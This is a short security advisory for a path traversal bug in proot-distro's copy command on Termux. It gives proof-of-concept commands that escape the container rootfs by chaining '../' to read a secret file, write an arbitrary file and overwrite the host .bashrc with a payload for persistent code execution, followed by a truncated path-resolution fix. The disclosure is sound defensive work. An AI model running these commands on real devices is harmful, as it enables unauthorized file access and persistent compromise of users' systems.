PRoot-Distro has Path Traversal in proot-distro copy — Arbitrary Read, Write, and Persistent Code Execution Outside Container Rootfs
Component | Version – | – proot-distro | 4.38.0 (initially discovered), 5.0.2 (confirmed still affected — tested on 2026-05-19) Test distro | Ubuntu 25.10 "Questing Quokka" (ubuntu alias) Architecture | aarch64 Device | Samsung A23 Package source | https://packages-cf.termux.dev/apt/termux-main stable/main aarch64 proot-distro copy ~/poc/evil.txt "ubuntu:$(printf '../%.0s' {1..20})data/data/com.termux/files/home/poc/target.txt" proot-distro copy "ubuntu:$(printf '../%.0s' {1..20})data/data/com.termux/files/home/poc/secret.txt" ~/poc/read_result.txt proot-distro copy ~/poc/payload.sh "ubuntu:$(printf '../%.0s' {1..20})data/data/com.termux/files/home/.bashrc" def safe_resolve(rootfs, container_path): candidate = os.path.realpath(os.path.join(rootfs, container_path.lstrip('/'))) root = os.path.realpath(rootfs) if …